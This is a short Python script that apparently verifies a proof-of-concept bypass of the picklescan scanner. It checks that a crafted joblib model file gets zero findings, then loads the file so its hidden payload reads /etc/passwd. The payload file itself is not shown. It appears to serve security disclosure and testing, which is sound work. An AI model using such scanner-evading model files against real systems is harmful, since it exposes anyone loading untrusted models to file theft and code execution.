verify_bypass.py

import io
from picklescan.scanner import scan_pickle_bytes

with open("/tmp/picklescan-bypass-poc.joblib", "rb") as f:
    data = f.read()

result = scan_pickle_bytes(io.BytesIO(data), "model.joblib")
print(f"Issues: {result.issues_count}")       # Should be 0
print(f"Infected: {result.infected_files}")    # Should be 0
print(f"Globals: {result.globals}")

# Verify it actually works (reads /etc/passwd)
import joblib
model = joblib.load("/tmp/picklescan-bypass-poc.joblib")
content = model.read()
print(f"\n--- Exploit Result ---")
print(f"File content length: {len(content)} bytes")
print(f"First line: {content.splitlines()[0] if content else 'empty'}")